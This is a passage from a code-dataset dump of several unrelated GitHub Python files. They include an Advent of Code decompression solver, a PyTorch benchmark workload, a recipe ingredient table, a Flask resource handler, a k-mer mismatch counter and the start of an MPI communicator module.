start))\n\n\nmain()\n","repo_name":"mentlesoul/bili-Script","sub_path":"破站点赞.py","file_name":"破站点赞.py","file_ext":"py","file_size_in_byte":1368,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71597606801","text":"#\n# Avent of Code 2016, Day 9\n# http://adventofcode.com/2016/day/9\n#\n\ninputTest = (#(\"(3x3)XYZ(3x3)ABC\", \"XYZXYZXYZABCABCABC\"), \n #(\"ADVENT\", \"ADVENT\"), (\"A(1x5)BC\", \"ABBBBBC\"), \n #(\"(3x3)XYZ\", \"XYZXYZXYZ\"), (\"A(2x2)BCD(2x2)EFG\", \"ABCBCDEFEFG\"), \n (\"(6x1)(1x3)A\", \"(1x3)A\"), \n (\"X(8x2)(3x3)ABCY\", \"X(3x3)ABC(3x3)ABCY\"))\n\ninputTest2 = (#(\"(3x3)XYZ\", \"XYZXYZXYZ\"), \n (\"X(8x2)(3x3)ABCY\", \"XABCABCABCABCABCABCY\"),\n #(\"(27x12)(20x12)(13x14)(7x10)(1x12)A\", \"\"), (\"(25x3)(3x3)ABC(2x3)XY(5x2)PQRSTX(18x9)(3x2)TWO(5x7)SEVEN\", \"\")\n )\n\ndef Decompress(s):\n \n output = \"\"\n \n inMarker = False;\n marker = \"\";\n markerLen = 0;\n markerCnt = 0;\n\n r = \"\" \n \n for c in s:\n \n if inMarker and c == \")\":\n inMarker = False\n markerLen = int(marker.split(\"x\")[0])\n markerCnt = int(marker.split(\"x\")[1])\n elif inMarker:\n marker += c\n elif c == \"(\" and marker == \"\":\n inMarker = True \n elif (marker != \"\"):\n if len(r) < markerLen:\n r += c \n elif len(r) == markerLen: \n for i in range(0, markerCnt):\n output += r\n marker = \"\";\n r = \"\";\n if c == \"(\":\n inMarker = True\n else:\n output += c\n \n else:\n raise ValueError(\"bu?\")\n else:\n output += c; \n\n if (marker != \"\"):\n for i in range(0, markerCnt):\n output += r\n\n return output;\n\ndef Decompress2(s):\n while s.find(\"(\") > -1: \n s = Decompress(s)\n return s\n\ndef DecompressCount(s):\n \n inMarker = False;\n marker = \"\";\n markerLen = 0;\n markerCnt = 0; \n length = 0;\n \n for i in range(len(s) - 1, 0, -1):\n c = s[i];\n \n if c == \")\":\n inMarker = True\n elif inMarker and c == \"(\": \n markerLen = int(marker.split(\"x\")[0])\n markerCnt = int(marker.split(\"x\")[1])\n inMarker = False \n marker = \"\" \n length = length - markerCnt + markerCnt * markerLen;\n elif inMarker:\n marker += c \n else: \n length += 1;\n\n if inMarker: \n markerLen = int(marker.split(\"x\")[0])\n markerCnt = int(marker.split(\"x\")[1]) \n length = length - markerCnt + markerCnt * markerLen;\n else:\n length += 1;\n\n return length;\n\n\n#print(\"Test: \")\n#for t in inputTest:\n #print(\"%s: %s = %s = %s (%d)\" % (t[0], t[1], Decompress(t[0]), str(Decompress(t[0]) == t[1]), len(Decompress(t[0])))) \n#print(\"\")\n\nfor t in inputTest2:\n print(\"%s: %s = %s = %s (%d)\" % (t[0], t[1], \"\", str(Decompress2(t[0]) == t[1]), len(Decompress2(t[0]))))\n print(\"Dlen\", DecompressCount(t[0]))\nprint(\".\")\n\nexit()\n\nprint(\"Input:\")\nwith open(\"data\\input.txt\") as f:\n for line in f:\n line = line.strip()\n s = Decompress(line)\n #print(s)\n print(len(s))\n\nprint(\"Input 2:\")\nwith open(\"data\\input.txt\") as f:\n for line in f:\n line = line.strip()\n s = Decompress2(line)\n #print(s)\n print(\"final: \", len(s))","repo_name":"davidvidmar/AdventOfCode2016","sub_path":"Day 9/Day_9.py","file_name":"Day_9.py","file_ext":"py","file_size_in_byte":3419,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"6307087715","text":"import platform\n\nfrom loguru import logger\nimport tqdm\nimport torch\nfrom torch.utils.data import DataLoader, TensorDataset\n\nfrom simple_ai_benchmarking.log import *\nfrom simple_ai_benchmarking.workloads.ai_workload_base import AIWorkloadBase\nfrom simple_ai_benchmarking.definitions import NumericalPrecision\n\nclass PyTorchWorkload(AIWorkloadBase):\n\n def setup(self):\n print(self.model)\n print(\"Number of model parameters:\", self.count_model_parameters())\n\n self.device = torch.device(self.cfg.device_name)\n \n self.inputs, self.targets = self._generate_random_dataset_with_numpy()\n \n self.inputs = torch.Tensor(self.inputs).to(torch.float32)\n self.targets = torch.Tensor(self.targets).to(torch.int64)\n\n logger.debug(\"Synthetic Dataset PyTorch Inputs Shape: {} {}\", self.inputs.shape, self.inputs.dtype)\n logger.debug(\"Synthetic Dataset PyTorch Targets Shape: {} {}\", self.targets.shape, self.targets.dtype)\n\n dataset = TensorDataset(self.inputs, self.targets)\n self.dataloader = DataLoader(dataset, batch_size=self.cfg.batch_size, shuffle=False, pin_memory=True)\n\n self.optimizer = torch.optim.SGD(self.model.parameters(), lr=0.001, momentum=0.9)\n self.criterion = torch.nn.CrossEntropyLoss()\n\n self.model.to(self.device)\n\n self._compile_model_if_supported()\n self._assign_numerical_precision()\n self._assign_autocast_device_type()\n \n \n def _compile_model_if_supported(self):\n version_str = torch.__version__\n major_version = int(version_str.split('.')[0])\n\n if major_version >= 2 and platform.system() != 'Windows':\n torch.compile(self.model) \n\n def _assign_numerical_precision(self):\n if self.cfg.data_type == NumericalPrecision.MIXED_FP16:\n self.numerical_precision = torch.float16\n elif self.cfg.data_type == NumericalPrecision.DEFAULT_PRECISION:\n pass\n elif self.cfg.data_type == NumericalPrecision.EXPLICIT_FP32:\n self.numerical_precision = torch.float32\n else:\n raise NotImplementedError(f\"Data type not implemented: {self.cfg.data_type}\")\n\n def _assign_autocast_device_type(self):\n self.autocast_device_type = \"cuda\" if \"cuda\" in self.cfg.device_name else \"cpu\"\n\n def count_model_parameters(self):\n return sum(p.numel() for p in self.model.parameters() if p.requires_grad)\n\n def train(self):\n if self.cfg.data_type == NumericalPrecision.DEFAULT_PRECISION:\n self._training_loop()\n else:\n with torch.autocast(device_type=self.autocast_device_type, dtype=self.numerical_precision):\n self._training_loop()\n \n def _training_loop(self):\n self.model.train()\n\n for epoch in tqdm.tqdm(range(self.cfg.epochs)):\n for inputs, labels in self.dataloader:\n inputs, labels = inputs.to(self.device), labels.to(self.device)\n \n self.optimizer.zero_grad()\n \n outputs = self.model(inputs)\n loss = self.criterion(outputs, labels)\n loss.backward()\n self.optimizer.step()\n\n def eval(self):\n raise NotImplementedError(\"Eval not implemented yet\")\n\n def infer(self):\n if self.cfg.data_type == NumericalPrecision.DEFAULT_PRECISION:\n self._infer_loop()\n else:\n with torch.autocast(device_type=self.autocast_device_type, dtype=self.numerical_precision):\n self._infer_loop()\n \n def _infer_loop(self):\n self.model.eval()\n \n for inputs, labels in tqdm.tqdm(self.dataloader):\n inputs, labels = inputs.to(self.device), labels.to(self.device)\n outputs = self.model(inputs)\n\n def _get_accelerator_info(self) -> str:\n if torch.cuda.is_available():\n device_info = str(torch.cuda.get_device_name(None))\n else:\n device_info = \"\"\n \n return device_info\n \n def _get_ai_framework_name(self) -> str:\n return \"torch\"\n \n def _get_ai_framework_version(self) -> str:\n return torch.__version__\n\n ","repo_name":"TimoIllusion/simple-ai-benchmarking","sub_path":"simple_ai_benchmarking/workloads/pytorch_workload.py","file_name":"pytorch_workload.py","file_ext":"py","file_size_in_byte":4275,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38882242579","text":"ConversionTable = [\n{u'': 4.0, 'aisle': 'Produce', u'grams': 244.0, u'g': 200.0, u'cups': 3.0, 'id': 11124, 'name': 'carrots'},\n{'aisle': 'Produce', 'name': 'celery', u'g': 120.0, u'grams': 160.0, u'stalks': 4.0, 'id': 11143, u'sticks': 2.0},\n{u'': 2.0, 'aisle': 'Produce', 'id': 10311529, u'grams': 34.0, 'name': 'cherry tomatoes'},\n{'aisle': 'Pasta and Rice;Canned and Jarred', 'name': 'cooked lentils', 'id': 16070, u'g': 250.0, u'grams': 250.0},\n{'aisle': 'Produce', 'name': 'courgettes', 'id': 11477, u'g': 300.0, u'grams': 300.0},\n{'aisle': 'Spices and Seasonings', 'name': 'cumin', 'id': 1002014, u'tsp': 0.5, u'grams': 1.0},\n{'id': 2042, 'aisle': 'Spices and Seasonings', u'grams': 2.7, 'name': 'dried thyme', u'tbsp': 1.0},\n{'aisle': 'Produce', 'name': 'fresh thyme', 'id': 2049, u'sprigs': 2.0, u'grams': 2.0},\n{u'': 3.0, 'aisle': 'Produce', 'id': 11215, u'grams': 9.0, 'name': 'garlic cloves'},\n{u'': 1.0, 'aisle': 'Produce', u'grams': 110.0, u'cup': 1.0, 'id': 11282, 'name': 'onion'},\n{'id': 4582, 'aisle': 'Oil, Vinegar, Salad Dressing', u'grams': 14.0, 'name': 'rapeseed oil', u'tbsp': 1.0},\n{u'': 1.0, 'aisle': 'Produce', 'id': 11821, u'grams': 119.0, 'name': 'red bell pepper'},\n{'aisle': 'Spices and Seasonings', 'name': 'smoked paprika', 'id': 1012028, u'tsp': 1.0, u'grams': 2.0},\n{'id': 98845, 'aisle': 'Canned and Jarred', u'grams': 250.0, 'name': 'vegetable stock cube', u'ml': 250.0},\n{u'': 3.0, u'teaspoons': 2.0, u'cups': 4.0, 'id': 11951, 'name': 'yellow bell pepper', 'aisle': 'Produce', u'cubes': 4.0, u'grams': 1000.0, u'pounds': 2.0, u'tablespoons': 3.0, u'teaspoon': 0.5},\n{'aisle': 'Canned and Jarred', u'cubes': 4.0, 'id': 6008, 'name': 'beef bouillon', u'grams': 16.0},\n{'aisle': 'Meat', u'pounds': 2.0, 'id': 10013411, 'name': 'beef stew meat', u'grams': 907.19},\n{'id': 20027, 'aisle': 'Baking', u'teaspoons': 2.0, 'name': 'cornstarch', u'grams': 4.0},\n{'id': 2029, 'aisle': 'Spices and Seasonings', u'teaspoon': 1.0, 'name': 'dried parsley', u'grams': 0.1},\n{'id': 2036, 'aisle': 'Produce;Spices and Seasonings', u'teaspoon': 1.0, 'name': 'dried rosemary', u'grams': 0.1},\n{'id': 1002030, 'aisle': 'Spices and Seasonings', u'teaspoon': 0.5, 'name': 'ground pepper', u'grams': 1.0},\n{u'': 3.0, 'aisle': 'Produce', 'id': 11362, 'name': 'potatoes', u'grams': 639.0},\n{'aisle': 'Oil, Vinegar, Salad Dressing', u'grams': 42.0, u'tablespoons': 3.0, u'cups': 1.25, 'id': 4513, 'name': 'vegetable oil'},\n{'aisle': 'Beverages', u'grams': 1000.0, u'quarts': 3.0, u'teaspoons': 2.0, u'tablespoons': 1.5, u'cups': 4.0, 'id': 14412, 'name': 'water'},\n{'aisle': 'Beverages', u'cups': 4.0, 'id': 14412, 'name': 'water', u'grams': 1000.0},\n{'aisle': 'Baking', u'grams': 8.0, 'id': 18371, 'name': 'baking powder', u'teaspoons': 2.0},\n{'aisle': 'Baking', u'grams': 8.0, 'id': 18372, 'name': 'baking soda', u'teaspoons': 2.0},\n{'aisle': 'Milk, Eggs, Other Dairy', 'name': 'butter', u'cup': 0.5, u'tablespoons': 3.0, 'id': 1001, u'grams': 113.5},\n{'id': 19336, 'aisle': 'Baking', u'cups': 4.0, u'grams': 480.0, 'name': \"confectioners' sugar\"},\n{'aisle': 'Cheese', u'ounces': 8.0, u'grams': 226.8, 'name': 'cream cheese', 'id': 1017},\n{u'': 4.0, 'aisle': 'Milk, Eggs, Other Dairy', u'grams': 176.0, 'name': 'eggs', 'id': 1123},\n{'aisle': 'Baking', u'cups': 2.0, u'grams': 250.0, 'name': 'flour', 'id': 20081},\n{u'teaspoons': 2.0, 'aisle': 'Spices and Seasonings', u'grams': 4.0, 'name': 'ground cinnamon', 'id': 2010},\n{'aisle': 'Nuts;Baking', u'cup': 1.0, u'grams': 99.0, 'name': 'pecans', 'id': 12142},\n{'aisle': 'Spices and Seasonings', u'serving': 1.0, u'grams': 3.0, u'teaspoon': 0.5, 'id': 2047, 'name': 'salt'},\n{'aisle': 'Baking', u'grams': 4.0, u'teaspoons': 2.0, u'teaspoon': 1.0, 'id': 2050, 'name': 'vanilla extract'},\n{u'teaspoons': 2.0, 'aisle': 'Baking', u'grams': 8.0, 'name': 'vanilla extract', 'id': 2050},\n{'aisle': 'Baking', u'cups': 2.0, u'grams': 400.0, 'name': 'white sugar', 'id': 19335},\n{'aisle': 'Baking', u'grams': 9.86, 'id': 18371, 'name': 'baking powder', u'teaspoons': 2.0},\n{'id': 18371, 'aisle': 'Baking', u'teaspoons': 2.0, 'name': 'baking powder', u'grams': 9.86},\n{u'teaspoons': 2.0, 'aisle': 'Baking', u'grams': 9.86, 'name': 'baking powder', 'id': 18371},\n{'aisle': 'Baking', u'grams': 9.86, 'id': 18371, 'name': 'baking powder', u'teaspoons': 2.0},\n{'aisle': 'Canned and Jarred', u'serving': 1.0, 'id': 1006615, 'name': 'stock', u'grams': 235.0},\n{u'': 2.0, 'aisle': 'Produce', 'id': 11007, 'name': 'artichokes', u'grams': 256.0},\n{u'': 1.0, 'aisle': 'Produce', 'id': 9150, 'name': 'lemons', u'grams': 108.0},\n{'aisle': 'Alcoholic Beverages', u'cups': 4.0, 'id': 14106, 'name': 'white wine', u'grams': 960.0},\n{u'': 1.0, 'aisle': 'Produce;Spices and Seasonings', 'id': 2004, 'name': 'bay leaf', u'grams': 0.1},\n{u'': 4.0, 'aisle': 'Spices and Seasonings', 'id': 1022030, 'name': 'peppercorn', u'grams': 0.4},\n{'aisle': 'Cheese', u'tbsp': 6.0, 'id': 1020, 'name': 'fontina cheese', u'grams': 88.68},\n{'aisle': 'Cheese', u'tbsp': 2.0, 'id': 1033, 'name': 'parmesan cheese', u'grams': 10.0},\n{'aisle': 'Bakery/Bread;Pasta and Rice', u'serving': 1.0, 'id': 18082, 'name': 'stuffing', u'grams': 1.0},\n{'aisle': 'Milk, Eggs, Other Dairy', u'cup': 0.25, 'id': 1001001, 'name': 'salted butter', u'grams': 56.75},\n{u'': 1.0, 'aisle': 'Produce', 'name': 'garlic', u'g': 3.0, 'id': 11215, u'tsp': 0.25, u'grams': 0.7},\n{'aisle': 'Produce;Spices and Seasonings', u'grams': 0.03, 'name': 'basil', u'tsp': 0.25, 'id': 2044},\n{'id': 6194, 'aisle': 'Canned and Jarred', u'grams': 58.75, 'name': 'chicken broth', u'cup': 0.25},\n{'id': 11120421, 'aisle': 'Pasta and Rice', u'cups': 3.0, u'grams': 255.0, 'name': 'cooked penne pasta'},\n{u'': 0.25, 'aisle': 'Alcoholic Beverages', 'id': 14106, u'grams': 187.5, 'name': 'dry white wine'},\n{'id': 1009195, 'aisle': 'Canned and Jarred', u'grams': 33.75, 'name': 'kalamata olives', u'cup': 0.25},\n{'id': 93828, 'aisle': 'Canned and Jarred', u'ounce': 6.0, u'grams': 170.1, 'name': 'marinated artichoke hearts'},\n{'aisle': 'Oil, Vinegar, Salad Dressing', u'serving': 1.0, u'grams': 14.0, u'g': 14.0, u'tablespoon': 1.0, u'tablespoons': 2.0, 'id': 4053, 'name': 'olive oil'},\n{'aisle': 'Produce;Spices and Seasonings', u'grams': 2.0, 'id': 2027, 'name': 'oregano', u'teaspoon': 1.0},\n{'id': 11916, 'aisle': 'Canned and Jarred', u'ounce': 7.0, u'grams': 198.45, 'name': 'roasted red peppers'},\n{'id': 1055062, 'aisle': 'Meat', u'grams': 340.19, 'name': 'skinless boneless chicken breast', u'ounces': 12.0},\n{'aisle': 'Frozen;Meat', u'kg': 1.5, 'name': 'beef', u'g': 1500.0, 'id': 23572, u'grams': 1500.0},\n{u'': 2.0, 'aisle': 'Produce', 'name': 'onions', u'g': 220.0, 'id': 11282, u'grams': 220.0},\n{'aisle': 'Produce', u'grams': 1.0, 'id': 1012024, 'name': 'fresh mixed herbs', u'bunch': 1.0},\n{'aisle': 'Produce', u'bunch': 1.0, 'id': 1012024, u'g': 1.0, 'name': 'fresh mixed herbs'},\n{'id': 20133, 'aisle': 'Pasta and Rice;Gluten Free;Ethnic Foods', u'oz': 3.5, 'name': 'rice noodles', u'grams': 99.22},\n{'id': 4042, 'aisle': 'Oil, Vinegar, Salad Dressing', u'serving': 1.0, u'grams': 14.0, 'name': 'peanut oil'},\n{u'': 4.0, 'aisle': 'Produce', 'id': 11291, u'grams': 48.0, 'name': 'scallions'},\n{'id': 10011970, 'aisle': 'Produce', u'oz': 5.0, 'name': 'napa cabbage leaves', u'grams': 141.75},\n{'id': 10011300, 'aisle': 'Produce', u'oz': 7.0, 'name': 'sugar snap peas', u'grams': 198.45},\n{u'': 0.5, 'aisle': 'Produce', 'id': 11819, u'grams': 22.5, 'name': 'red chile'},\n{u'': 2.0, 'aisle': 'Produce', 'id': 9159, u'grams': 134.0, 'name': 'limes'},\n{'id': 16424, 'aisle': 'Ethnic Foods;Condiments', u'grams': 16.0, 'name': 'low sodium soy sauce', u'tablespoon': 1.0},\n{'id': 16098, 'aisle': 'Nut butters, Jams, and Honey', u'grams': 16.0, 'name': 'peanut butter', u'tablespoon': 1.0},\n{'id': 1116, 'aisle': 'Milk, Eggs, Other Dairy', u'grams': 40.0, 'name': 'plain yogurt', u'tablespoons': 2.0},\n{u'inch': 0.75, 'aisle': 'Produce;Ethnic Foods;Spices and Seasonings', 'id': 11216, u'grams': 5.25, 'name': 'fresh gingerroot'},\n{'id': 12023, 'aisle': 'Ethnic Foods;Spices and Seasonings', u'teaspoons': 2.0, 'name': 'sesame seeds', u'grams': 4.0},\n{'aisle': 'Spices and Seasonings', u'tablespoons': 3.0, u'grams': 54.0, 'name': 'kosher salt', 'id': 1082047},\n{'aisle': 'Pasta and Rice', u'cups': 2.0, u'grams': 370.0, 'name': 'basmati rice', 'id': 10020444},\n{'aisle': 'Spices and Seasonings', u'grams': 0.1, u'pinch': 1.0, 'name': 'ground cumin', 'id': 1002014},\n{u'': 1.0, 'aisle': 'Produce', u'grams': 213.0, 'name': 'russet potato', 'id': 11353},\n{'aisle': 'Ethnic Foods;Spices and Seasonings;Gourmet', u'grams': 0.05, u'pinch': 1.0, 'name': 'saffron threads', 'id': 2037},\n{'aisle': 'Produce', u'tablespoon': 1.0, u'grams': 4.0, 'name': 'parsley', 'id': 11297},\n]\nConversionTableSize = len(ConversionTable)","repo_name":"tomermeged/ZOOchef","sub_path":"ingredients_DB.py","file_name":"ingredients_DB.py","file_ext":"py","file_size_in_byte":8792,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"38066314312","text":"import os, apsw\n\nsqlite_cursor = None\n\nhome = os.path.expanduser('~')\npreferences_path = os.path.join(home, '.pg_viewer')\nif not os.path.exists(preferences_path):\n\tos.mkdir(preferences_path)\ndef get_apsw_cursor ():\n\tglobal sqlite_cursor\n\tapsw_file = os.path.join(preferences_path, 'pg_viewer_data')\n\tif not os.path.exists(apsw_file):\n\t\tcon = apsw.Connection(apsw_file)\n\t\tsqlite_cursor = con.cursor()\n\t\tsqlite_cursor.execute(\"CREATE TABLE sql_commands \"\n\t\t\t\t\t\t\t\t\"(descriptor text UNIQUE NOT NULL, \"\n\t\t\t\t\t\t\t\t\"command text NOT NULL, \"\n\t\t\t\t\t\t\t\t\"current boolean NOT NULL)\")\n\telse:\n\t\tcon = apsw.Connection(apsw_file)\n\t\tsqlite_cursor = con.cursor()\n\treturn sqlite_cursor\n\n\t","repo_name":"benreu/pg-viewer","sub_path":"src/constants.py","file_name":"constants.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"71552683601","text":"from flask import jsonify\nfrom dao.generators import GeneratorsDAO\n\n\nclass GeneratorsHandler:\n def build_generators_dict(self, row):\n result = {}\n result['GeneratorID'] = row[0]\n result['GeneratorBrand'] = row[1]\n result['GeneratorType'] = row[2]\n result['GeneratorDescription'] = row[3]\n result['ResourceID'] = row[4]\n return result\n\n def build_generators_attributes(self, GeneratorID, GeneratorBrand, GeneratorType, GeneratorDescription, ResourceID):\n result = {}\n result['GeneratorID'] = GeneratorID\n result['GeneratorBrand'] = GeneratorBrand\n result['GeneratorType'] = GeneratorType\n result['GeneratorDescription'] = GeneratorDescription\n result['ResourceID'] = ResourceID\n return result\n\n def build_generatorsdetails_dict(self, row):\n result = {}\n result['ResourceID'] = row[0]\n result['ResourceName'] = row[1]\n result['ResourcePrice'] = row[2]\n result['ResourceQuantity'] = row[3]\n result['SupplierID'] = row[4]\n result['GeneratorID'] = row[5]\n result['GeneratorBrand'] = row[6]\n result['GeneratorType'] = row[7]\n result['GeneratorDescription'] = row[8]\n return result\n\n def getAllGenerators(self):\n dao = GeneratorsDAO()\n generators_list = dao.getAllGenerators()\n result_list = []\n for row in generators_list:\n result = self.build_generators_dict(row)\n result_list.append(result)\n return jsonify(Generators=generators_list)\n\n def getGeneratorsByID(self, generatorid):\n dao = GeneratorsDAO()\n row = dao.getGeneratorsById(generatorid)\n if not row:\n return jsonify(Error=\"Generator Not Found \"), 404\n else:\n generator = self.build_generators_dict(row)\n return jsonify(Generator=generator)\n\n def getGeneratorsByResourceID(self, resourceid):\n dao = GeneratorsDAO()\n row = dao.getGeneratorByResourceID(resourceid)\n if not row:\n return jsonify(Error=\"Generators Not Found \"), 404\n else:\n Generators = self.build_generatorsdetails_dict(row)\n return jsonify(Generators=Generators)\n\n def getResourceIDByGeneratorsID(self, Generatorsid):\n dao = GeneratorsDAO()\n row = dao.getResourceIDByGeneratorID(Generatorsid)\n if not row:\n return jsonify(Error=\"Generators Not Found \"), 404\n else:\n Generators = self.build_generators_dict(row)\n return jsonify(Generators=Generators)\n\n def searchGenerators(self, args):\n supplierid = args.get(\"SupplierID\")\n generatortype = args.get(\"GeneratorType\")\n dao = GeneratorsDAO()\n generators_list = []\n if (len(args) == 1) and supplierid:\n generators_list = dao.getGeneratorsBySupplier(supplierid)\n elif (len(args) == 1) and generatortype:\n generators_list= dao.getGeneratorsByType(generatortype)\n else:\n return jsonify(Error=\"Malformed query string\"), 400\n result_list = []\n for row in generators_list:\n result = self.build_generators_dict(row)\n result_list.append(result)\n return jsonify(Generators=result_list)\n\n def insertGenerators(self, form):\n print(\"form: \", form)\n if len(form) != 4 :\n return jsonify(Error=\"Malformed post request\")\n generatorbrand = form['generatorbrand']\n generatortype = form['generatortype']\n generatordescription = form['generatordescription']\n resourceid = form['resourceid']\n if generatorbrand and generatortype and generatordescription and resourceid:\n dao = GeneratorsDAO()\n generatorid = dao.insert(generatorbrand, generatortype, generatordescription, resourceid)\n result = self.build_generators_attributes(generatorid, generatorbrand, generatortype, generatordescription, resourceid,)\n return jsonify(Generators=result), 201\n else:\n return jsonify(Error=\"Unexpected attributes in post request\")\n\n def insertGeneratorJson(self, json):\n generatorbrand = json['GeneratorBrand']\n generatortype = json['GeneratorType']\n generatordescription = json['GeneratorDescription']\n resourceid = json['ResourceID']\n if generatorbrand and generatortype and generatordescription and resourceid:\n dao = GeneratorsDAO()\n generatorid = dao.insert(generatorbrand, generatortype, generatordescription, resourceid)\n result = self.build_generators_attributes(generatorid, generatorbrand, generatortype, generatordescription, resourceid)\n return jsonify(Generator=result), 201\n else:\n return jsonify(Error=\"Unexpected attributes in post request\")\n\n def deleteGenerator(self, Generatorid):\n dao = GeneratorsDAO()\n if not dao.getGeneratorsById(Generatorid):\n return jsonify(Error=\"Resource not found.\"), 404\n else:\n dao.delete(Generatorid)\n return jsonify(DeleteStatus=\"OK\"), 200\n\n def updateResource(self, Generatorid, form):\n dao = GeneratorsDAO()\n if not dao.getBatteriesById(Generatorid):\n return jsonify(Error=\"Generator not found.\"), 404\n else:\n if len(form) != 4:\n return jsonify(Error=\"Malformed update request\")\n else:\n generatorbrand = form['generatorbrand']\n generatortype = form['generatortype']\n generatordescription = form['generatordescription']\n resourceid = form['resourceid']\n if generatorbrand and generatortype and generatordescription and resourceid:\n dao.update(Generatorid, generatorbrand, generatortype, generatordescription, resourceid)\n resourceid = dao.getResourceIDByGeneratorID(Generatorid)\n result = self.build_generators_attributes(Generatorid, generatorbrand, generatortype, generatordescription, resourceid)\n return jsonify(Generator=result), 400\n else:\n return jsonify(Error=\"Unexpected attributes in update request\"), 400\n\n\n def updateResourceJson(self, Generatorid, json):\n dao = GeneratorsDAO()\n if not dao.getGeneratorsById(Generatorid):\n return jsonify(Error=\"Generator not found.\"), 404\n\n else:\n generatorbrand = json['generatorbrand']\n generatortype = json['generatortype']\n generatordescription = json['generatordescription']\n resourceid = json['resourceid']\n if generatorbrand and generatortype and generatordescription and resourceid:\n dao.update(Generatorid, generatorbrand, generatortype, generatordescription, resourceid)\n resourceid = dao.getResourceIDByGeneratorID(Generatorid)\n result = self.build_generators_attributes(Generatorid, generatorbrand, generatortype, generatordescription, resourceid)\n return jsonify(Generator=result), 400\n else:\n return jsonify(Error=\"Unexpected attributes in update request\"), 400\n\n\n\n\n\n\n","repo_name":"ErickRodz/ResourcesApp","sub_path":"handler/generators.py","file_name":"generators.py","file_ext":"py","file_size_in_byte":7284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"12330998309","text":"#!/usr/bin/env python3\n\n\ndef main():\n genome = input().upper()\n k, mismatches = list(map(int, input().split()))\n\n frequents = frequent_words_with_mismatches(genome, k, mismatches)\n for word in frequents:\n print(word, end=' ')\n print()\n\n\nLIST_A = ['C', 'T', 'G']\nLIST_C = ['A', 'T', 'G']\nLIST_T = ['C', 'A', 'G']\nLIST_G = ['C', 'T', 'A']\n\n\ndef _generate_immediate_neighbours(pattern: str) -> list:\n \"\"\"\n Generate immediate (different by one mismatch) neighbours of the given genome pattern\n :param pattern: a pattern to examine\n :return: neighbourhood, NOT including the given pattern\n \"\"\"\n generated = []\n for i in range(len(pattern)):\n if pattern[i] == 'A':\n generated.extend([pattern[:i] + c + pattern[i + 1:] for c in LIST_A])\n elif pattern[i] == 'C':\n generated.extend([pattern[:i] + c + pattern[i + 1:] for c in LIST_C])\n elif pattern[i] == 'T':\n generated.extend([pattern[:i] + c + pattern[i + 1:] for c in LIST_T])\n elif pattern[i] == 'G':\n generated.extend([pattern[:i] + c + pattern[i + 1:] for c in LIST_G])\n\n return generated\n\n\ndef generate_neighbours(pattern: str, mismatches: int) -> set:\n \"\"\"\n Generate neighbours for the given pattern (genome string)\n :param pattern: genome pattern\n :param mismatches: number of mismatches to generate neighbours\n :return: a set of patterns in the neighbourhood, including the 'pattern' itself\n \"\"\"\n neighbourhood = set()\n neighbourhood.add(pattern)\n\n curr_patterns = [pattern]\n next_patterns = []\n\n for curr_mismatches in range(mismatches):\n for curr_pattern in curr_patterns:\n for neighbour in _generate_immediate_neighbours(curr_pattern):\n if neighbour not in neighbourhood:\n neighbourhood.add(neighbour)\n next_patterns.append(neighbour)\n\n curr_patterns = next_patterns\n next_patterns = []\n\n return neighbourhood\n\n\ndef frequent_words_with_mismatches(genome: str, k: int, mismatches: int) -> list:\n frequencies = {}\n\n for sstart in range(len(genome) - k + 1):\n sequence = genome[sstart:sstart + k]\n neighbours = list(generate_neighbours(sequence, mismatches))\n for neighbour in neighbours:\n frequencies[neighbour] = frequencies.get(neighbour, 0) + 1\n\n max_frequency = max(frequencies.values())\n\n result = []\n for pattern, frequency in frequencies.items():\n if frequency == max_frequency:\n result.append(pattern)\n\n return result\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"leskin-in/mipt-bioalgo","sub_path":"hw1/approximate_frequents.py","file_name":"approximate_frequents.py","file_ext":"py","file_size_in_byte":2626,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"11568082111","text":"import os\nimport sys\nimport itertools\n\nimport numpy as np\n\nfrom ._libtoast import Logger\n\nfrom .pshmem import MPIShared, MPILock\n\nuse_mpi = None\nMPI = None\n\nif use_mpi is None:\n # See if the user has explicitly disabled MPI.\n if \"MPI_DISABLE\" in os.environ:\n use_mpi = False\n else:\n # Special handling for running on a NERSC login node. This is for convenience.\n # The same behavior could be implemented with environment variables set in a\n # shell resource file.\n at_nersc = False\n if \"NERSC_HOST\" in os.environ:\n at_nersc = True\n in_slurm = False\n if \"SLURM_JOB_NAME\" in os.environ:\n in_slurm = True\n if (not at_nersc) or in_slurm:\n try:\n import mpi4py.MPI as MPI\n\n use_mpi = True\n except:\n # There could be many possible exceptions raised...\n from ._libtoast import Logger\n\n log = Logger.get()\n log.info(\"mpi4py not found- using serial operations only\")\n use_mpi = False\n\n\ndef get_world():\n \"\"\"Retrieve the default world communicator and its properties.\n\n If MPI is enabled, this returns MPI.COMM_WORLD and the process rank and number of\n processes. If MPI is disabled, this returns None for the communicator, zero\n for the rank, and one for the number of processes.\n\n Returns:\n (tuple): The communicator, number of processes, and rank.\n\n \"\"\"\n rank = 0\n procs = 1\n world = None\n if use_mpi:\n world = MPI.COMM_WORLD\n rank = world.rank\n procs = world.size\n return world, procs, rank\n\n\nclass Comm(object):\n \"\"\"Class which represents a two-level hierarchy of MPI communicators.\n\n A Comm object splits the full set of processes into groups of size\n \"group\". If group_size does not divide evenly into the size of the given\n communicator, then those processes remain idle.\n\n A Comm object stores three MPI communicators: The \"world\" communicator\n given here, which contains all processes to consider, a \"group\"\n communicator (one per group), and a \"rank\" communicator which contains the\n processes with the same group-rank across all groups.\n\n If MPI is not enabled, then all communicators are set to None.\n\n Args:\n world (mpi4py.MPI.Comm): the MPI communicator containing all processes.\n group (int): the size of each process group.\n\n \"\"\"\n\n def __init__(self, world=None, groupsize=0):\n log = Logger.get()\n if world is None:\n if use_mpi:\n # Default is COMM_WORLD\n world = MPI.COMM_WORLD\n else:\n # MPI is disabled, leave world as None.\n pass\n else:\n if use_mpi:\n # We were passed a communicator to use. Check that it is\n # actually a communicator, otherwise fall back to 